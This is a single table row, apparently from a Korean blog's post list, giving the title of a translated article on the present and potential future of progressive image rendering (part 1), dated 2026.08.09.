| [번역] 프로그레시브 이미지 렌더링의 현재와 잠재적 미래 (1) | 2026.08.09 |